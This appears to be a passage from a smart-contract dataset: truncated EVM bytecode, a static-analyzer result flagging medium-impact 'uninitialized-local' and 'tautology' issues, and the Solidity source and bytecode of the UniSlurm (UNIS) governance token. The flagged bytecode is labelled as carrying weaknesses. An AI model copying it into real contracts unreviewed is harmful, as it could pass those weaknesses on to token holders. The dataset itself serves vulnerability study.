b60008160ff168360ff161115610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de29061293a565b60405180910390fd5b82600183610df99190612d21565b610e039190612d21565b905092915050565b60006002821015610e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4890612a1a565b60405180910390fd5b6000600283610e609190612e8a565b1415610e6f5760029050610ec2565b6000610e7a83610f39565b90506000600390505b818111610ebc5760008185610e989190612e8a565b1415610ea8578092505050610ec2565b600281610eb59190612c66565b9050610e83565b50829150505b919050565b6040518060400160405280600181526020017f290000000000000000000000000000000000000000000000000000000000000081525081565b6040518060400160405280600281526020017f2d5000000000000000000000000000000000000000000000000000000000000081525081565b60006003821115610fa05781905060006001600284610f589190612cbc565b610f629190612c66565b90505b81811015610f9a578091506002818285610f7f9190612cbc565b610f899190612c66565b610f939190612cbc565b9050610f65565b50610fae565b60008214610fad57600190505b5b919050565b610fbb611d41565b6000604051806101000160405280604051806101000160405280604160ff168152602001604260ff168152602001604360ff168152602001604460ff168152602001604560ff168152602001604660ff168152602001604760ff168152602001604860ff168152508152602001604051806101000160405280604960ff168152602001604a60ff168152602001604b60ff168152602001604c60ff168152602001604d60ff168152602001604e60ff168152602001604f60ff168152602001605060ff168152508152602001604051806101000160405280605160ff168152602001605260ff168152602001605360ff168152602001605460ff168152602001605560ff168152602001605660ff168152602001605760ff168152602001605860ff168152508152602001604051806101000160405280605960ff168152602001605a60ff168152602001606160ff168152602001606260ff168152602001606360ff168152602001606460ff168152602001606560ff168152602001606660ff168152508152602001604051806101000160405280606760ff168152602001606860ff168152602001606960ff168152602001606a60ff168152602001606b60ff168152602001606c60ff168152602001606d60ff168152602001606e60ff168152508152602001604051806101000160405280606f60ff168152602001607060ff168152602001607160ff168152602001607260ff168152602001607360ff168152602001607460ff168152602001607560ff168152602001607660ff168152508152602001604051806101000160405280607760ff168152602001607860ff168152602001607960ff168152602001607a60ff168152602001603060ff168152602001603160ff168152602001603260ff168152602001603360ff168152508152602001604051806101000160405280603460ff168152602001603560ff168152602001603660ff168152602001603760ff168152602001603860ff168152602001603960ff168152602001602b60ff168152602001602f60ff1681525081525090508091505090565b6112d0611d41565b6112d8611d41565b60005b60088160ff1610156115025760005b60088160ff1610156114ee57848260ff166008811061130c5761130b612f19565b5b60200201518160ff166008811061132657611325612f19565b5b602002015160ff16868360ff166008811061134457611343612f19565b5b60200201518260ff166008811061135e5761135d612f19565b5b602002015160ff161061142557848260ff166008811061138157611380612f19565b5b60200201518160ff166008811061139b5761139a612f19565b5b6020020151868360ff16600881106113b6576113b5612f19565b5b60200201518260ff16600881106113d0576113cf612f19565b5b60200201516113df9190612d21565b838360ff16600881106113f5576113f4612f19565b5b60200201518260ff166008811061140f5761140e612f19565b5b602002019060ff16908160ff16815250506114db565b858260ff166008811061143b5761143a612f19565b5b60200201518160ff166008811061145557611454612f19565b5b6020020151858360ff16600881106114705761146f612f19565b5b60200201518260ff166008811061148a57611489612f19565b5b60200201516114999190612d21565b838360ff16600881106114af576114ae612f19565b5b60200201518260ff16600881106114c9576114c8612f19565b5b602002019060ff16908160ff16815250505b80806114e690612e60565b9150506112ea565b5080806114fa90612e60565b9150506112db565b508091505092915050565b611515611d41565b6101008260ff16111561155d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611554906129fa565b60405180910390fd5b6000611567610fb3565b90506000607b67ffffffffffffffff81111561158657611585612f48565b5b6040519080825280602002602001820160405280156115bf57816020015b6115ac611d6f565b8152602001906001900390816115a45790505b50905060005b60088160ff1610156116775760005b60088160ff1610156116635760405180604001604052808360ff1681526020018260ff1681525083858460ff166008811061161257611611612f19565b5b60200201518360ff166008811061162c5761162b612f19565b5b602002015160ff168151811061164557611644612f19565b5b6020026020010181905250808061165b90612e60565b9150506115d4565b50808061166f90612e60565b9150506115c5565b50611680611d41565b6000805b87518160ff16101561185f5760005b888260ff16815181106116a9576116a8612f19565b5b60200260200101515181101561184b576000898360ff16815181106116d1576116d0612f19565b5b602002602001015182815181106116eb576116ea612f19565b5b602001015160f81c60f81b60f81c9050603d8160ff1614611837576000868260ff168151811061171e5761171d612f19565b5b60200260200101516000015190506000878360ff168151811061174457611743612f19565b5b602002602001015160200151905060018b61175f9190612d21565b60ff16878360ff166008811061177857611777612f19565b5b60200201518260ff166008811061179257611791612f19565b5b602002015160ff1614156117e75785878360ff16600881106117b7576117b6612f19565b5b60200201518260ff16600881106117d1576117d0612f19565b5b602002019060ff16908160ff1681525050611834565b868260ff16600881106117fd576117fc612f19565b5b60200201518160ff166008811061181757611816612f19565b5b60200201805180919061182990612e60565b60ff1660ff16815250505b50505b50808061184390612e17565b915050611693565b50808061185790612e60565b915050611684565b508194505050505092915050565b606060008614156118a95783848385868960405160200161189396959493929190612867565b6040516020818303038152906040529050611c15565b60018614156118df57838284876040516020016118c99493929190612829565b6040516020818303038152906040529050611c15565b60028614156118f057849050611c15565b60038614156119245783858460405160200161190e939291906127f8565b6040516020818303038152906040529050611c15565b60006119316002886104d8565b90506000600182600184516119469190612ced565b8151811061195757611956612f19565b5b60200260200101516119699190612c66565b67ffffffffffffffff81111561198257611981612f48565b5b6040519080825280602002602001820160405280156119b05781602001602082028036833780820191505090505b50905060005b8251811015611a18576001816119cc9190612c66565b828483815181106119e0576119df612f19565b5b6020026020010151815181106119f9576119f8612f19565b5b6020026020010181815250508080611a1090612e17565b9150506119b6565b50878260018451611a299190612ced565b81518110611a3a57611a39612f19565b5b60200260200101511415611b66576000818981518110611a5d57611a5c612f19565b5b6020026020010151905060606000838381518110611a7e57611a7d612f19565b5b602002602001015114611abe57611a98828a8a8a8a61186d565b604051602001611aa891906127bd565b6040516020818303038152906040529050611b37565b6000611ac983610986565b905060005b8151811015611b3457611afe828281518110611aed57611aec612f19565b5b60200260200101518c8c8c8c61186d565b83604051602001611b109291906127d4565b60405160208183030381529060405292508080611b2c90612e17565b915050611ace565b50505b878188604051602001611b4c939291906127f8565b604051602081830303815290604052945050505050611c15565b6000611b7189610986565b90506000611b9d82600081518110611b8c57611b8b612f19565b5b60200260200101518a8a8a8a61186d565b90506000600190505b8251811015611c0c57611bd6838281518110611bc557611bc4612f19565b5b60200260200101518b8b8b8b61186d565b82604051602001611be89291906127d4565b60405160208183030381529060405291508080611c0490612e17565b915050611ba6565b50809450505050505b95945050505050565b6040518060400160405280600181526020017f3a0000000000000000000000000000000000000000000000000000000000000081525081565b6060611d3a826040518060400160405280600181526020017f3a000000000000000000000000000000000000000000000000000000000000008152506040518060400160405280600181526020017f28000000000000000000000000000000000000000000000000000000000000008152506040518060400160405280600181526020017f29000000000000000000000000000000000000000000000000000000000000008152506040518060400160405280600281526020017f2d5000000000000000000000000000000000000000000000000000000000000081525061186d565b9050919050565b6040518061010001604052806008905b611d59611d8f565b815260200190600190039081611d515790505090565b6040518060400160405280600060ff168152602001600060ff1681525090565b604051806101000160405280600890602082028036833780820191505090505090565b6000611dc5611dc084612a95565b612a70565b9050808285610100860282011115611de057611ddf612f7c565b5b60005b85811015611e115781611df6888261208b565b84526020840193506101008301925050600181019050611de3565b5050509392505050565b6000611e2e611e2984612abb565b612a70565b90508083825260208201905082856020860282011115611e5157611e50612f7c565b5b60005b85811015611e9f57813567ffffffffffffffff811115611e7757611e76612f77565b5b808601611e8489826120cb565b85526020850194506020840193505050600181019050611e54565b5050509392505050565b6000611ebc611eb784612ae7565b612a70565b90508083825260208201905082856020860282011115611edf57611ede612f7c565b5b60005b85811015611f0f5781611ef58882612127565b845260208401935060208301925050600181019050611ee2565b5050509392505050565b6000611f2c611f2784612b13565b612a70565b90508082856020860282011115611f4657611f45612f7c565b5b60005b85811015611f765781611f5c888261213c565b845260208401935060208301925050600181019050611f49565b5050509392505050565b6000611f93611f8e84612b39565b612a70565b905082815260208101848484011115611faf57611fae612f81565b5b611fba848285612da4565b509392505050565b6000611fd5611fd084612b6a565b612a70565b905082815260208101848484011115611ff157611ff0612f81565b5b611ffc848285612da4565b509392505050565b600082601f83011261201957612018612f77565b5b6008612026848285611db2565b91505092915050565b600082601f83011261204457612043612f77565b5b8135612054848260208601611e1b565b91505092915050565b600082601f83011261207257612071612f77565b5b8135612082848260208601611ea9565b91505092915050565b600082601f8301126120a05761209f612f77565b5b60086120ad848285611f19565b91505092915050565b6000813590506120c58161315b565b92915050565b600082601f8301126120e0576120df612f77565b5b81356120f0848260208601611f80565b91505092915050565b600082601f83011261210e5761210d612f77565b5b813561211e848260208601611fc2565b91505092915050565b60008135905061213681613172565b92915050565b60008135905061214b81613189565b92915050565b600080611000838503121561216957612168612f8b565b5b600061217785828601612004565b92505061080061218985828601612004565b9150509250929050565b60008061082083850312156121ab576121aa612f8b565b5b60006121b985828601612004565b9250506108006121cb8582860161213c565b9150509250929050565b600080604083850312156121ec576121eb612f8b565b5b600083013567ffffffffffffffff81111561220a57612209612f86565b5b6122168582860161202f565b92505060206122278582860161213c565b9150509250929050565b6000806040838503121561224857612247612f8b565b5b600083013567ffffffffffffffff81111561226657612265612f86565b5b6122728582860161205d565b925050602061228385828601612127565b9150509250929050565b6000602082840312156122a3576122a2612f8b565b5b60006122b1848285016120b6565b91505092915050565b6000602082840312156122d0576122cf612f8b565b5b600082013567ffffffffffffffff8111156122ee576122ed612f86565b5b6122fa848285016120f9565b91505092915050565b60006020828403121561231957612318612f8b565b5b600061232784828501612127565b91505092915050565b600080600080600060a0868803121561234c5761234b612f8b565b5b600061235a88828901612127565b955050602086013567ffffffffffffffff81111561237b5761237a612f86565b5b612387888289016120f9565b945050604086013567ffffffffffffffff8111156123a8576123a7612f86565b5b6123b4888289016120f9565b935050606086013567ffffffffffffffff8111156123d5576123d4612f86565b5b6123e1888289016120f9565b925050608086013567ffffffffffffffff81111561240257612401612f86565b5b61240e888289016120f9565b9150509295509295909350565b6000806040838503121561243257612431612f8b565b5b600061244085828601612127565b925050602061245185828601612127565b9150509250929050565b6000806040838503121561247257612471612f8b565b5b60006124808582860161213c565b92505060206124918582860161213c565b9150509250929050565b60006124a78383612599565b6101008301905092915050565b60006124c08383612790565b60208301905092915050565b60006124d883836127ae565b60208301905092915050565b6124ed81612bbf565b6124f78184612c12565b925061250282612b9b565b8060005b8381101561253357815161251a878261249b565b965061252583612beb565b925050600181019050612506565b505050505050565b600061254682612bca565b6125508185612c1d565b935061255b83612ba5565b8060005b8381101561258c57815161257388826124b4565b975061257e83612bf8565b92505060018101905061255f565b5085935050505092915050565b6125a281612bd5565b6125ac8184612c2e565b92506125b782612bb5565b8060005b838110156125e85781516125cf87826124cc565b96506125da83612c05565b9250506001810190506125bb565b505050505050565b6125f981612d55565b82525050565b600061260a82612be0565b6126148185612c4a565b9350612624818560208601612db3565b61262d81612f90565b840191505092915050565b600061264382612be0565b61264d8185612c5b565b935061265d818560208601612db3565b80840191505092915050565b6000612676601183612c39565b915061268182612fa1565b602082019050919050565b6000612699600f83612c39565b91506126a482612fca565b602082019050919050565b60006126bc601983612c39565b91506126c782612ff3565b602082019050919050565b60006126df600583612c39565b91506126ea8261301c565b602082019050919050565b6000612702603183612c39565b915061270d82613045565b604082019050919050565b6000612725603d83612c39565b915061273082613094565b604082019050919050565b6000612748600983612c39565b9150612753826130e3565b602082019050919050565b600061276b602983612c39565b91506127768261310c565b604082019050919050565b61278a81612d8d565b82525050565b61279981612d8d565b82525050565b6127a881612d97565b82525050565b6127b781612d97565b82525050565b60006127c98284612638565b915081905092915050565b60006127e08285612638565b91506127ec8284612638565b91508190509392505050565b60006128048286612638565b91506128108285612638565b915061281c8284612638565b9150819050949350505050565b60006128358287612638565b91506128418286612638565b915061284d8285612638565b91506128598284612638565b915081905095945050505050565b60006128738289612638565b915061287f8288612638565b915061288b8287612638565b91506128978286612638565b91506128a38285612638565b91506128af8284612638565b9150819050979650505050505050565b6000610800820190506128d560008301846124e4565b92915050565b600060208201905081810360008301526128f5818461253b565b905092915050565b600060208201905061291260008301846125f0565b92915050565b6000602082019050818103600083015261293281846125ff565b905092915050565b6000602082019050818103600083015261295381612669565b9050919050565b600060208201905081810360008301526129738161268c565b9050919050565b60006020820190508181036000830152612993816126af565b9050919050565b600060208201905081810360008301526129b3816126d2565b9050919050565b600060208201905081810360008301526129d3816126f5565b9050919050565b600060208201905081810360008301526129f381612718565b9050919050565b60006020820190508181036000830152612a138161273b565b9050919050565b60006020820190508181036000830152612a338161275e565b9050919050565b6000602082019050612a4f6000830184612781565b92915050565b6000602082019050612a6a600083018461279f565b92915050565b6000612a7a612a8b565b9050612a868282612de6565b919050565b6000604051905090565b600067ffffffffffffffff821115612ab057612aaf612f48565b5b602082029050919050565b600067ffffffffffffffff821115612ad657612ad5612f48565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612b0257612b01612f48565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612b2e57612b2d612f48565b5b602082029050919050565b600067ffffffffffffffff821115612b5457612b53612f48565b5b612b5d82612f90565b9050602081019050919050565b600067ffffffffffffffff821115612b8557612b84612f48565b5b612b8e82612f90565b9050602081019050919050565b6000819050919050565b6000819050602082019050919050565b6000819050919050565b600060089050919050565b600081519050919050565b600060089050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612c7182612d8d565b9150612c7c83612d8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612cb157612cb0612ebb565b5b828201905092915050565b6000612cc782612d8d565b9150612cd283612d8d565b925082612ce257612ce1612eea565b5b828204905092915050565b6000612cf882612d8d565b9150612d0383612d8d565b925082821015612d1657612d15612ebb565b5b828203905092915050565b6000612d2c82612d97565b9150612d3783612d97565b925082821015612d4a57612d49612ebb565b5b828203905092915050565b60008115159050919050565b60007fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015612dd1578082015181840152602081019050612db6565b83811115612de0576000848401525b50505050565b612def82612f90565b810181811067ffffffffffffffff82111715612e0e57612e0d612f48565b5b80604052505050565b6000612e2282612d8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e5557612e54612ebb565b5b600182019050919050565b6000612e6b82612d97565b915060ff821415612e7f57612e7e612ebb565b5b600182019050919050565b6000612e9582612d8d565b9150612ea083612d8d565b925082612eb057612eaf612eea565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f70616972206f7574206f662072616e6765000000000000000000000000000000600082015250565b7f666163746f72206f766572666c6f770000000000000000000000000000000000600082015250565b7f656e746974792076616c7565206f7574206f662072616e676500000000000000600082015250565b7f213d202534000000000000000000000000000000000000000000000000000000600082015250565b7f5468652072616e6765206f66207365617263682076616c756573206d7573742060008201527f62652067726561746572207468616e2030000000000000000000000000000000602082015250565b7f546865207374617274696e67206e756d626572206d757374206265206120706f60008201527f73697469766520696e74656765722067726561746572207468616e2031000000602082015250565b7f4d6f64203e20325e380000000000000000000000000000000000000000000000600082015250565b7f4e756d626572206d7573742062652067726561746572207468616e206f72206560008201527f7175616c20746f20320000000000000000000000000000000000000000000000602082015250565b61316481612d61565b811461316f57600080fd5b50565b61317b81612d8d565b811461318657600080fd5b50565b61319281612d97565b811461319d57600080fd5b5056fea26469706673582212201e4ee3d407ce85c699d10bb4574fe4bcca188c003c7c134018263b8a4d71491a64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
4,824
0x7611674336151835403c4db867fdd30782073c65
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Unis { /// @notice EIP-20 token name for this token string public constant name = "UniSlurm"; /// @notice EIP-20 token symbol for this token string public constant symbol = "UNIS"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1_000_000_000e18; // 1 billion UNIS /// @notice Address which may mint new tokens address public minter; /// @notice The timestamp after which minting may occur uint public mintingAllowedAfter; /// @notice Minimum time between mints uint32 public constant minimumTimeBetweenMints = 1 days * 365; /// @notice Cap on the percentage of totalSupply that can be minted at each mint uint8 public constant mintCap = 2; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor(address account, address minter_, uint mintingAllowedAfter_) public { require(mintingAllowedAfter_ >= block.timestamp, "Unis::constructor: minting can only begin after deployment"); balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); mintingAllowedAfter = mintingAllowedAfter_; } function setMinter(address minter_) external { require(msg.sender == minter, "Unis::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "Unis::mint: only the minter can mint"); require(block.timestamp >= mintingAllowedAfter, "Unis::mint: minting not allowed yet"); require(dst != address(0), "Unis::mint: cannot transfer to the zero address"); mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints); uint96 amount = safe96(rawAmount, "Unis::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Unis::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "Unis::mint: totalSupply exceeds 96 bits"); balances[dst] = add96(balances[dst], amount, "Unis::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); _moveDelegates(address(0), delegates[dst], amount); } function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Unis::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Unis::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Unis::permit: invalid signature"); require(signatory == owner, "Unis::permit: unauthorized"); require(now <= deadline, "Unis::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) external view returns (uint) { return balances[account]; } function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Unis::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Unis::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Unis::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Unis::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Unis::delegateBySig: invalid nonce"); require(now <= expiry, "Unis::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Unis::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Unis::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Unis::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Unis::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Unis::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Unis::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Unis::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Unis::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636fcfff45116100f9578063b4b5ea5711610097578063dd62ed3e11610071578063dd62ed3e1461035b578063e7a324dc1461036e578063f1127ed814610376578063fca3b5aa14610397576101a9565b8063b4b5ea5714610322578063c3cda52014610335578063d505accf14610348576101a9565b8063782d6fe1116100d3578063782d6fe1146102d45780637ecebe00146102f457806395d89b4114610307578063a9059cbb1461030f576101a9565b80636fcfff45146102a657806370a08231146102b957806376c71ca1146102cc576101a9565b806330adf81f1161016657806340c10f191161014057806340c10f1914610256578063587cde1e1461026b5780635c11d62f1461027e5780635c19a95c14610293576101a9565b806330adf81f1461023157806330b36cef14610239578063313ce56714610241576101a9565b806306fdde03146101ae57806307546172146101cc578063095ea7b3146101e157806318160ddd1461020157806320606b701461021657806323b872dd1461021e575b600080fd5b6101b66103aa565b6040516101c391906122eb565b60405180910390f35b6101d46103ce565b6040516101c391906121be565b6101f46101ef366004611a1f565b6103dd565b6040516101c391906121e7565b61020961049c565b6040516101c391906121f5565b6102096104a2565b6101f461022c366004611936565b6104b9565b610209610602565b61020961060e565b610249610614565b6040516101c39190612425565b610269610264366004611a1f565b610619565b005b6101d46102793660046118d6565b610834565b61028661084f565b6040516101c391906123fc565b6102696102a13660046118d6565b610857565b6102866102b43660046118d6565b610864565b6102096102c73660046118d6565b61087c565b6102496108a0565b6102e76102e2366004611a1f565b6108a5565b6040516101c39190612441565b6102096103023660046118d6565b610ab3565b6101b6610ac5565b6101f461031d366004611a1f565b610ae5565b6102e76103303660046118d6565b610b21565b610269610343366004611a4f565b610b91565b610269610356366004611983565b610d7b565b6102096103693660046118fc565b611067565b61020961109b565b610389610384366004611ad6565b6110a7565b6040516101c392919061240a565b6102696103a53660046118d6565b6110dc565b60405180604001604052806008815260200167556e69536c75726d60c01b81525081565b6001546001600160a01b031681565b6000806000198314156103f35750600019610418565b610415836040518060600160405280602581526020016125836025913961116f565b90505b3360008181526003602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610488908590612433565b60405180910390a360019150505b92915050565b60005481565b6040516104ae906121a8565b604051809103902081565b6001600160a01b03831660009081526003602090815260408083203380855290835281842054825160608101909352602580845291936001600160601b0390911692859261051192889291906125839083013961116f565b9050866001600160a01b0316836001600160a01b03161415801561053e57506001600160601b0382811614155b156105e857600061056883836040518060600160405280603d81526020016126c6603d913961119e565b6001600160a01b038981166000818152600360209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105de908590612433565b60405180910390a3505b6105f38787836111dd565b600193505050505b9392505050565b6040516104ae9061219d565b60025481565b601281565b6001546001600160a01b0316331461064c5760405162461bcd60e51b8152600401610643906123ac565b60405180910390fd5b60025442101561066e5760405162461bcd60e51b8152600401610643906123ec565b6001600160a01b0382166106945760405162461bcd60e51b8152600401610643906123bc565b6106a2426301e13380611383565b60028190555060006106